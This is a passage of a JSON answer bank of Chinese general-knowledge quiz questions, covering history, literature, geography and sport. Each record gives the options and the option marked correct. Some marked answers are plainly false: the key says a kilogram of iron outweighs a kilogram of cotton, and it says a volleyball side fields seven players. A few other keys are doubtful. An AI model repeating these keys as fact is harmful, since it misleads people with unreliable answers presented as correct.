04:34:24","status":"1"},{"questionId":"8801428853","questionIndex":"2","questionStem":"下列古都哪个被称为“六朝古都”?","options":"[{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XDZucZFf0I-z\",\"optionDesc\":\"西安\"},{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XSqXTqXFJUd4\",\"optionDesc\":\"北京\"},{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XjBBfSHP2jhP\",\"optionDesc\":\"南京\"}]","questionToken":"I8wSx0BRhzaLhncmCc2nDI8f8SX8omP5anu8kc-WekI7PVTligGTr-m75OY5pIjStgZigqe3HdRgg1qTh_zRe4F6AI1w-Q","correct":"{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XjBBfSHP2jhP\",\"optionDesc\":\"南京\"}","create_time":"27/1/2021 04:39:42","update_time":"27/1/2021 04:39:42","status":"1"},{"questionId":"8801428854","questionIndex":"5","questionStem":"史书《汉书》是哪位史学家所著?","options":"[{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8Xg0bF9yvZIA0fNJtBg\",\"optionDesc\":\"班固\"},{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8XMADjY0MOZA1dzQoVA\",\"optionDesc\":\"司马迁\"},{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8XRl8P_Nkqp8aZ0f22g\",\"optionDesc\":\"左丘明\"}]","questionToken":"I8wSx0BRhzaLgXchCc2nC2LgiwzanflvcQ1ow6aUBtBuoZ4LvsshqBzYovXYsfO43FQo1ElKkvAuYAURb86pgVl8NQf2gg","correct":"{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8Xg0bF9yvZIA0fNJtBg\",\"optionDesc\":\"班固\"}","create_time":"27/1/2021 04:50:46","update_time":"27/1/2021 04:50:46","status":"1"},{"questionId":"8801428888","questionIndex":"5","questionStem":"我国古代“十恶不赦”中的首恶是?","options":"[{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XYlcXfLYD8BxzoxE\",\"optionDesc\":\"不道\"},{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XgX0v5jDbnCd0svb\",\"optionDesc\":\"谋反\"},{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XPdWcA_2R6OhDdzt\",\"optionDesc\":\"不义\"}]","questionToken":"I8wSx0BRhzaGjXchCc2nDJb8nLg5ygXNx3zXN_euQN_mF58XH5UbkS63hYuNl3J1IKw4sbfIXbcx80hHIEauimOgce0REw","correct":"{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XgX0v5jDbnCd0svb\",\"optionDesc\":\"谋反\"}","create_time":"27/1/2021 04:37:11","update_time":"27/1/2021 04:37:11","status":"1"},{"questionId":"8801428890","questionIndex":"4","questionStem":"古代盛世哪个是李世民统治的时期?","options":"[{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XrbhsXf_2BgEn2hTbA\",\"optionDesc\":\"贞观之治\"},{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XMfOo8NKGaKF0UsTcg\",\"optionDesc\":\"文景之治\"},{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XdJRnCskkKJ1Ewbj_Q\",\"optionDesc\":\"康乾之治\"}]","questionToken":"I8wSx0BRhzaHhXcgCc2nDHJ05A9U8ccHqKu1xgcwLZw05sIJi2oaXe1VJGZXy8x376BwJdAe7T1qo78cv9KGb-4upIJD4Q","correct":"{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XrbhsXf_2BgEn2hTbA\",\"optionDesc\":\"贞观之治\"}","create_time":"27/1/2021 04:35:46","update_time":"27/1/2021 04:35:46","status":"1"},{"questionId":"8801428891","questionIndex":"4","questionStem":"素有“瓷都”之称的景德镇位于哪个省份?","options":"[{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XQmMqtYixTAXTgoo_A\",\"optionDesc\":\"河北\"},{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XJIwKYzofeTVUSN7BQ\",\"optionDesc\":\"河南\"},{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XgvaIdERFjjlA2CQ_Q\",\"optionDesc\":\"江西\"}]","questionToken":"I8wSx0BRhzaHhHcgCc2nC3y5pBrogDB2V17u4Z655jjJBlSQh8fq3QgcPqnA9i4CABb8bEuIuYIerC4GSaDBxHd_xgYmRg","correct":"{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XgvaIdERFjjlA2CQ_Q\",\"optionDesc\":\"江西\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"8801428892","questionIndex":"1","questionStem":"马拉松长跑来源于马拉松战役,它的爆发地是","options":"[{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8Xhfp6P6DNodYs587fA\",\"optionDesc\":\"古代希腊\"},{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8XLhELU4YSDbFdvLtPg\",\"optionDesc\":\"马其顿\"},{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8XWyGnRSYlVJGp_CiqQ\",\"optionDesc\":\"古代罗马\"}]","questionToken":"I8wSx0BRhzaHh3clCc2nDJpa_XXMDjZBCYzXXzzplcu9TldrPXp1gzzKt6LEPj2lysS3WhJfU1RNB8JP-I-_Y7Mh6wz71Q","correct":"{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8Xhfp6P6DNodYs587fA\",\"optionDesc\":\"古代希腊\"}","create_time":"27/1/2021 04:48:27","update_time":"27/1/2021 04:48:27","status":"1"},{"questionId":"8801428931","questionIndex":"1","questionStem":"古代科举考试最后在殿试中考第二名被称为?","options":"[{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSB8OqmNfHm2sd-FU\",\"optionDesc\":\"执牛耳\"},{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSp6_3a9a6SixuZck\",\"optionDesc\":\"榜眼\"},{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSeu8U320BR0nVuUW\",\"optionDesc\":\"探花\"}]","questionToken":"I8wSx0BRhzfPLP50pre-H5LCMFWw80ztDXcjDI26jTRKT4guntNz30W2raKcqIoRRpujXbd9MPj3pYY80ew7jcwHvCDUKA","correct":"{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSp6_3a9a6SixuZck\",\"optionDesc\":\"榜眼\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428932","questionIndex":"3","questionStem":"世界上规模最大的大学是哪所高校?","options":"[{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSvEmTPFeIwtDwuc9\",\"optionDesc\":\"纽约州立大学\"},{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSFofocW7m1ZJYdhF\",\"optionDesc\":\"剑桥大学\"},{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSTMCWBpnlwpMPH6_\",\"optionDesc\":\"哈佛大学\"}]","questionToken":"I8wSx0BRhzfPL_52pre-GEh_fV4jin8WIlRDqUH53L6TGB1uC2RdTSgDsTxn4I4Gpjvi5GXEMLdbM8vTFvZ4LgLl_vp7cA","correct":"{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSvEmTPFeIwtDwuc9\",\"optionDesc\":\"纽约州立大学\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"8801428933","questionIndex":"3","questionStem":"我国收入的字最多的字典是哪一部?","options":"[{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSbYouhIT6ONHvEGn\",\"optionDesc\":\"《新华字典》\"},{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSAZ5DvCTIbwjXnu8\",\"optionDesc\":\"《说文解字》\"},{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSiNF2sfGQQCb_5Kx\",\"optionDesc\":\"《康熙字典》\"}]","questionToken":"I8wSx0BRhzfPLv52pre-H8x1akpF5w5WUJA7hjkD071pCFZ_p9ycOPjZZz2ForM1zaeHsymtcZAejCz9stiB-bi26mXauQ","correct":"{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSiNF2sfGQQCb_5Kx\",\"optionDesc\":\"《康熙字典》\"}","create_time":"27/1/2021 04:49:03","update_time":"27/1/2021 04:49:03","status":"1"},{"questionId":"8801428937","questionIndex":"3","questionStem":"除中国外还有哪个国家的人口超10亿?","options":"[{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSSKYzJH42dPrAL8EDw\",\"optionDesc\":\"加拿大\"},{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSNbDlJo8pwZtYklwxQ\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSh9otZVS_hWvVcEWJA\",\"optionDesc\":\"印度\"}]","questionToken":"I8wSx0BRhzfPKv52pre-Hy2rs_YbPHzygUsIMJ3V3uVCBk-b1J3H9HSf88gnncNEapnAnu5zWrINFeCSHuHAgVpGLqt-Xg","correct":"{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSh9otZVS_hWvVcEWJA\",\"optionDesc\":\"印度\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"8801428939","questionIndex":"2","questionStem":"哪个国家一般不准女性在生人面前露面?","options":"[{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lSB6Bibx_Rd_6DYep\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lShSc8h3Z1KIiRoi5\",\"optionDesc\":\"沙特阿拉伯\"},{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lSaO1VfXS4flXzZxD\",\"optionDesc\":\"印度\"}]","questionToken":"I8wSx0BRhzfPJP53pre-GKLAhmayV7l4rPzdNiXo3aWiMcE2qFjEp_ZtWCm7shHXqIHo86JBYiCnWyQ20pi6LeyvuFwOfg","correct":"{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lShSc8h3Z1KIiRoi5\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"27/1/2021 04:37:11","update_time":"27/1/2021 04:37:11","status":"1"},{"questionId":"8801428940","questionIndex":"4","questionStem":"以下动物中视角最大的是?","options":"[{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSI6iFi2Qy42VgtUj\",\"optionDesc\":\"虎\"},{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSR4r1uDR6mKyobht\",\"optionDesc\":\"马\"},{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSlx0yorDMZkeqTk4\",\"optionDesc\":\"鱼\"}]","questionToken":"I8wSx0BRhzfILf5xpre-H2h1EPKZscAkxYkEQJuSa3LaQZUfHxXbqI3XQCvP5T3WkPM165Pap5gqU8hHow8ZdrY9fNDeVQ","correct":"{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSlx0yorDMZkeqTk4\",\"optionDesc\":\"鱼\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"8801428941","questionIndex":"4","questionStem":"现代足球运动的发源地是哪个国家?","options":"[{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSOAHGqy6NOIRXA\",\"optionDesc\":\"莫桑比克\"},{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSqkLibe8I1JYMw\",\"optionDesc\":\"英国\"},{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSWFnUkQsstOkmw\",\"optionDesc\":\"法国\"}]","questionToken":"I8wSx0BRhzfILP5xpre-GMOam5aYhB2Q5ztxHC2Tp65ugesbdSeLa7Kc4wkMmNs0cuA5xEFefoENTrgKfpnjX8iKExIfDg","correct":"{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSqkLibe8I1JYMw\",\"optionDesc\":\"英国\"}","create_time":"27/1/2021 04:41:17","update_time":"27/1/2021 04:41:17","status":"1"},{"questionId":"8801428942","questionIndex":"1","questionStem":"我国四大名著中,成书最晚的一部是?","options":"[{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSMKS5gpwweGnFbE\",\"optionDesc\":\"《三国演义》\"},{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSh9JG0YnSYiq-Ac\",\"optionDesc\":\"《红楼梦》\"},{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSdAiuilTH8gjmHQ\",\"optionDesc\":\"《西游记》\"}]","questionToken":"I8wSx0BRhzfIL_50pre-H49lN-xi7Hn7vnjzNWx4TPaTOY-wISmVgufVTTZMdOBa5rtzT0T4X9g8nDedy_nlor2rn9VT1Q","correct":"{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSh9JG0YnSYiq-Ac\",\"optionDesc\":\"《红楼梦》\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428943","questionIndex":"1","questionStem":"我国被称为“不夜城”的城市是哪一座城市? ","options":"[{\"optionId\":\"I8wSx0BRhzfILv4mtf-lST52o8MB5VMw6wcx\",\"optionDesc\":\"上海\"},{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSmfSmflsUrm0IY26\",\"optionDesc\":\"漠河\"},{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSD5ysPZ_8CJ99TBs\",\"optionDesc\":\"北京\"}]","questionToken":"I8wSx0BRhzfILv50pre-GJQIVoksR3LNh5Yk6eLziBTfZIjboPRd0fnXze5XhZgx6B5Y7PukibqXpVesW203DKvFKSodYA","correct":"{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSmfSmflsUrm0IY26\",\"optionDesc\":\"漠河\"}","create_time":"27/1/2021 04:32:32","update_time":"27/1/2021 04:32:32","status":"1"},{"questionId":"8801428944","questionIndex":"1","questionStem":"排球比赛场上一方运动员人数为?","options":"[{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSpwapTacAZM_qdk\",\"optionDesc\":\"7人\"},{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSR73TB7sOvzg_QI\",\"optionDesc\":\"6人\"},{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSJfmYAMXEUev9LA\",\"optionDesc\":\"9人\"}]","questionToken":"I8wSx0BRhzfIKf50pre-GJ04Lp2zQZj2MnigwYbVBaTo-m4F7X6wUnRX6687R0x09F7zzyy6nn0rzsamL-pQMeD8Kg7veQ","correct":"{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSpwapTacAZM_qdk\",\"optionDesc\":\"7人\"}","create_time":"27/1/2021 04:36:16","update_time":"27/1/2021 04:36:16","status":"1"},{"questionId":"8801428945","questionIndex":"2","questionStem":"人体可以导电是因为人体中含有?","options":"[{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSce6pQMOFzmncA\",\"optionDesc\":\"金属元素\"},{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSjaRJEzAngpOdw\",\"optionDesc\":\"水\"},{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSEj3Gc0f5Int_g\",\"optionDesc\":\"脂肪\"}]","questionToken":"I8wSx0BRhzfIKP53pre-GPFhHez6vJOsr2uPnr69Fug9dyIKozdji5aOITyWPvraC7hgfYiZM06uRvD5yhUi_l1QVfHnoQ","correct":"{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSjaRJEzAngpOdw\",\"optionDesc\":\"水\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"8801428946","questionIndex":"5","questionStem":"五线谱是哪国人发明的?","options":"[{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSmyPYqP78yf7hzjz0A\",\"optionDesc\":\"意大利\"},{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSBEkiym3vAhzZCOqGQ\",\"optionDesc\":\"法国\"},{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSbDDIvgXEtflKd3Efw\",\"optionDesc\":\"德国\"}]","questionToken":"I8wSx0BRhzfIK_5wpre-GLM4A2s4xodz2IMYhiMLDo8a6Sqbo88rSqVQMHhJm0RX7TO8eQsmccVLC1p8DUPe0Ne64YyH9w","correct":"{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSmyPYqP78yf7hzjz0A\",\"optionDesc\":\"意大利\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"8801428948","questionIndex":"1","questionStem":"世界上是被称为“教育王国”的哪一个国家?","options":"[{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSeYeVeShMDfyMGQ\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSJD9hKh3yKNO-u0\",\"optionDesc\":\"日本\"},{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSn334k567KD37rg\",\"optionDesc\":\"以色列\"}]","questionToken":"I8wSx0BRhzfIJf50pre-H1FrpUufh4Mm3dY_p9E39gEbIX9-cI6QRAWr4CoPKPq6H1OzkamFd8A1PMI7Lo-cEynb3njxDA","correct":"{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSn334k567KD37rg\",\"optionDesc\":\"以色列\"}","create_time":"27/1/2021 04:53:13","update_time":"27/1/2021 04:53:13","status":"1"},{"questionId":"8801428949","questionIndex":"2","questionStem":"“海市蜃楼”通常发生在什么季节?","options":"[{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSjDdG_gtN1nfO7U\",\"optionDesc\":\"夏天\"},{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSTQ649rLG7mR_TA\",\"optionDesc\":\"秋天\"},{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSJJRCtpBj7n_xlg\",\"optionDesc\":\"春天\"}]","questionToken":"I8wSx0BRhzfIJP53pre-H22tWYJxXED619poNC-H65Q5x5hYi2LK8z-ni9eIJTNSBgeHpJ_pT3OqiOXLJHSbZb62Bnij7Q","correct":"{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSjDdG_gtN1nfO7U\",\"optionDesc\":\"夏天\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801432237","questionIndex":"4","questionStem":"“豆寇年华”是指几岁?","options":"[{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVCQglp-069uY_Jo_mg\",\"optionDesc\":\"16岁\"},{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVnpuMNBtyqnhlG9_fw\",\"optionDesc\":\"13岁\"},{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVSZtcGjMYbv8UAPFgQ\",\"optionDesc\":\"12岁\"}]","questionToken":"I8wSx0BQjTw3Er_WEOYxAwPNhkYI4mb-stAfMRjZawYoQDZ8WurdirGl__kAPZ8NEi9fVVF6-NH2agW-Q3NypljbWUh6sg","correct":"{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVnpuMNBtyqnhlG9_fw\",\"optionDesc\":\"13岁\"}","create_time":"27/1/2021 04:49:21","update_time":"27/1/2021 04:49:21","status":"1"},{"questionId":"8801432238","questionIndex":"5","questionStem":"“无事不登三宝殿”的“三宝”是指哪三宝?","options":"[{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVMdsOlWBf8Un_DMI\",\"optionDesc\":\"书、剑、琴\"},{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVsah4wvBcKh7KLjL\",\"optionDesc\":\"佛、法、僧\"},{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVa7pGk-F6_Zj5taf\",\"optionDesc\":\"金、银、玉\"}]","questionToken":"I8wSx0BQjTw3Hb_XEOYxAzCwxxTj90doEUT5Wd7QqD-wv0ht2xj_SbsysTpAS-ZwPOvdoOeSkvm9FLCJrx9xN_U62Zkc1w","correct":"{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVsah4wvBcKh7KLjL\",\"optionDesc\":\"佛、法、僧\"}","create_time":"27/1/2021 04:38:09","update_time":"27/1/2021 04:38:09","status":"1"},{"questionId":"8801432239","questionIndex":"2","questionStem":"“信天游”流行于哪一带地方?","options":"[{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVo9VAfxj1E9rW9AUsg\",\"optionDesc\":\"陕北\"},{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVVcEGyT5gyqUcp8lhg\",\"optionDesc\":\"西南\"},{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVFuEKbFryHyuJ0PnGg\",\"optionDesc\":\"华北\"}]","questionToken":"I8wSx0BQjTw3HL_QEOYxBMjBHzLnmNtiEwjiiZRI7ijFUote2uTnmksyLV59iFWtA8B8WvEpknRam6pfwieTM0geFL_D4A","correct":"{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVo9VAfxj1E9rW9AUsg\",\"optionDesc\":\"陕北\"}","create_time":"27/1/2021 03:36:45","update_time":"27/1/2021 03:36:45","status":"1"},{"questionId":"8801432240","questionIndex":"5","questionStem":"被人颂称“诗魔”的是谁?","options":"[{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVC9s8aYNlVIDjyk\",\"optionDesc\":\"李商隐\"},{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVZEnUj2zYRlE6Ro\",\"optionDesc\":\"王维\"},{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVhnfiHjt0eE0eCY\",\"optionDesc\":\"白居易\"}]","questionToken":"I8wSx0BQjTwwFb_XEOYxBHj8uTB2CfG4bE5jclHNw2ifBi-mydPaH1bGXsTB5exycPJgTHf02PI5J8xakkApxTrPQyO7Nw","correct":"{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVhnfiHjt0eE0eCY\",\"optionDesc\":\"白居易\"}","create_time":"27/1/2021 04:40:38","update_time":"27/1/2021 04:40:38","status":"1"},{"questionId":"8801432242","questionIndex":"1","questionStem":"西游记中的火焰山在哪里?","options":"[{\"optionId\":\"I8wSx0BQjTwwF7-BA64qVEq96B-0ajn12zLDyQ\",\"optionDesc\":\"黄土高坡\"},{\"optionId\":\"I8wSx0BQjTwwF7-BA64qVeQUJ-Qrhsfyh3nYZQ\",\"optionDesc\":\"四川盆地\"},{\"optionId\":\"I8wSx0BQjTwwF7-BA64qViXKSIQmO1mKbbolxA\",\"optionDesc\":\"吐鲁番盆地\"}]","questionToken":"I8wSx0BQjTwwF7_TEOYxBBfiowPBQM_tVM1yMRpEBAzga40j2dJnrU0LCwhnym2cVQTVyqHP69c9wk78Tx5-pUWIyOu_LQ","correct":"{\"optionId\":\"I8wSx0BQjTwwF7-BA64qViXKSIQmO1mKbbolxA\",\"optionDesc\":\"吐鲁番盆地\"}","create_time":"27/1/2021 04:43:43","update_time":"27/1/2021 04:43:43","status":"1"},{"questionId":"8801432243","questionIndex":"4","questionStem":"吴敬梓是哪本名著的作者?","options":"[{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVSKn2-opAsMwCMc\",\"optionDesc\":\"《武林外传》\"},{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVK5o2D27BqDTwNQ\",\"optionDesc\":\"《三侠五义》\"},{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVkr3gFAjHvqEi7U\",\"optionDesc\":\"《儒林外史》\"}]","questionToken":"I8wSx0BQjTwwFr_WEOYxBKJ77or1iXWS5n5Ovqr3xbPnGXq6aAEQiNJ_PRBKc42rvXjwV7adFSPNqpdtQd4MfOPci4fjBQ","correct":"{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVkr3gFAjHvqEi7U\",\"optionDesc\":\"《儒林外史》\"}","create_time":"27/1/2021 04:44:52","update_time":"27/1/2021 04:44:52","status":"1"},{"questionId":"8801432244","questionIndex":"5","questionStem":"一公斤铁和一公斤棉花哪一个重?","options":"[{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVhccwsdZJYkJVDc\",\"optionDesc\":\"铁重一点\"},{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVeIQaWm7UqII3FY\",\"optionDesc\":\"棉花重一点\"},{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVPp6dszV-rDRVeg\",\"optionDesc\":\"一样重\"}]","questionToken":"I8wSx0BQjTwwEb_XEOYxBMuOaIBaTJW3FOwfZNO06bDFz7yMw7ur5BZukYEFHVsNaR-DiRG6JPlbJX3XK0zk3BLXVoKL8g","correct":"{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVhccwsdZJYkJVDc\",\"optionDesc\":\"铁重一点\"}","create_time":"27/1/2021 04:50:25","update_time":"27/1/2021 04:50:25","status":"1"},{"questionId":"8801432245","questionIndex":"2","questionStem":"“打蛇打七寸”的七寸是指?","options":"[{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVdkrEJ_karjvMPE\",\"optionDesc\":\"蛇的胃\"},{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVGqA13-6GuGNBro\",\"optionDesc\":\"蛇的胆\"},{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVhejWq682X9J3Dg\",\"optionDesc\":\"蛇的心脏\"}]","questionToken":"I8wSx0BQjTwwEL_QEOYxBGGHD7uykMeQltEmMC892QimtCxc8X8cqcgI-SXfGefhGbmHBqZIxxZBQ8mSFYQTDcrdd5nApQ","correct":"{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVhejWq682X9J3Dg\",\"optionDesc\":\"蛇的心脏\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"8801432246","questionIndex":"4","questionStem":"世界地球日是每年的?","options":"[{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVv0TiguHsNj2_agupQ\",\"optionDesc\":\"4月22日\"},{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVI4gb1JkgD-eQVwQtA\",\"optionDesc\":\"3月12日\"},{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVf3oBxgQ1x2TTD-kUQ\",\"optionDesc\":\"12月1日\"}]","questionToken":"I8wSx0BQjTwwE7_WEOYxBJXcLp-6fIuESTIDWwGmW-ldrNhykU91WJRHJpd0oPrD4uA__KSmiZu93LVfX8B4Um_VomhuzQ","correct":"{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVv0TiguHsNj2_agupQ\",\"optionDesc\":\"4月22日\"}","create_time":"27/1/2021 04:42:53","update_time":"27/1/2021 04:42:53","status":"1"},{"questionId":"8801432247","questionIndex":"1","questionStem":"我国现有文献中最早引用勾股定理的是?","options":"[{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVkp4zJAhsRZqAjeP5w\",\"optionDesc\":\"《周髀算经》\"},{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVdnRecE5ICUFFFOVBw\",\"optionDesc\":\"《孙子算经》\"},{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVMsbm_KBW_vMBSi3Yw\",\"optionDesc\":\"《九章算术》\"}]","questionToken":"I8wSx0BQjTwwEr_TEOYxBHH60Gba3VpyiDDwO7MzNXu4WKnJcrufemkbUBTYhCk3Ts81RpsQXiNMWcmBxEFlXe8OFpRadQ","correct":"{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVkp4zJAhsRZqAjeP5w\",\"optionDesc\":\"《周髀算经》\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"8801432248","questionIndex":"1","questionStem":"西方称之为“物理学之父”的科学家是?","options":"[{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVRAjav1xNdcIIlyx\",\"optionDesc\":\"欧几里德\"},{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVFq9XkYQOCrVWDru\",\"optionDesc\":\"牛顿\"},{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVniS7gCi4OVjXZ1Q\",\"optionDesc\":\"阿基米德\"}]","questionToken":"I8wSx0BQjTwwHb_TEOYxBEExviwqVw7Nkqr38ZVRiWR8OSh3PX4pHCetUF2f0AIpfZzrZSbxMUmdgLWpPsWyVKo2Z_e9DA","correct":"{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVniS7gCi4OVjXZ1Q\",\"optionDesc\":\"阿基米德\"}","create_time":"27/1/2021 04:48:48","update_time":"27/1/2021 04:48:48","status":"1"},{"questionId":"8801432249","questionIndex":"3","questionStem":"酒精灯点燃后,最合理的熄灭方法是?","options":"[{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVVf8fCYiUBZQmxdYsQ\",\"optionDesc\":\"用嘴吹灭\"},{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVOjWFYFxJIcFDNMhZQ\",\"optionDesc\":\"撒上一层细沙\"},{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVjvI4KdlhGiwCMt88g\",\"optionDesc\":\"将灯帽盖上\"}]","questionToken":"I8wSx0BQjTwwHL_REOYxBKx_566bEWYIT7iIplJvKXqrwg3kdMwzKYaw924-a-di7PiE5LY-XOVDVj81xT0mi3vd7SjhHA","correct":"{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVjvI4KdlhGiwCMt88g\",\"optionDesc\":\"将灯帽盖上\"}","create_time":"27/1/2021 04:48:23","update_time":"27/1/2021 